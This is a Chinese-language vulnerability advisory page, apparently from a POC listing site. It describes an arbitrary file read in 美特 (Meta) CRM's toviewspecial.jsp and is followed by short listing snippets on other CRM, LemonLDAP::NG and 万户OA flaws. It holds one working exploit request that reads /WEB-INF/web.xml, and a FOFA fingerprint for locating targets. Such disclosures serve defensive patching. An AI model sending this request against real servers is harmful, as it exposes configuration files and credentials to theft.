美特CRM toviewspecial.jsp 存在任意文件读取漏洞

漏洞描述

美特CRM系统 toviewspecial.jsp存在任意文件读取漏洞，攻击者可通过构造恶意请求绕过安全限制，直接读取服务器上的敏感文件（如配置文件、数据库凭证、日志文件等），导致系统信息泄露和进一步安全风险。

GET /business/common/toviewspecial.jsp?view=/WEB-INF/web.xml HTTP/1.1

metacrm-download-new-fileread: MetaCRM美特crm系统download-new.jsp接口存在任意文件读取漏洞 POC

2025-09-01 | MetaCRM美特crm系统

MetaCRM美特crm系统download-new.jsp接口存在任意文件读取漏洞 fofa：body="/common/scripts/basic.js" &&...
美特 CRM /common/jsp/upload.jsp 文件上传漏洞无POC

2025-07-28 | 美特CRM

美特 CRM 是一款客户关系管理系统，旨在帮助企业管理客户信息和业务流程。在目标系统中，/common/jsp/upload.jsp 存在未授权的文件上传漏洞。攻击者可以通过该漏洞上传恶意文件（如 w...
美特CRM /business/ums/sendmail.jsp 文件上传漏洞无POC

2025-07-23 | 美特CRM

美特 CRM 是一款企业管理系统，主要用于客户关系管理。该漏洞存在于 /business/ums/sendmail.jsp 接口中，攻击者可以通过文件上传功能上传恶意脚本文件，从而在服务器上执行任意代...
LemonLDAP::NG 操作系统命令注入漏洞无POC

2025-09-20 00:03:21 | LemonLDAP::NG

LemonLDAP::NG是LemonLDAP::NG开源的一套Web单点登录和访问管理软件。 LemonLDAP::NG 2.16.7之前版本和2.17版本至2.21.3之前版本存在操作系统命令注入...
万户OA informationmanager_upload.jsp 任意文件上传漏洞无POC

2025-09-19 | 万户OA

万户OA存在任意文件上传漏洞，攻击者可以访问恶意链接使服务器下载恶意文件，从而达到上传文件目的，获取服务器权限。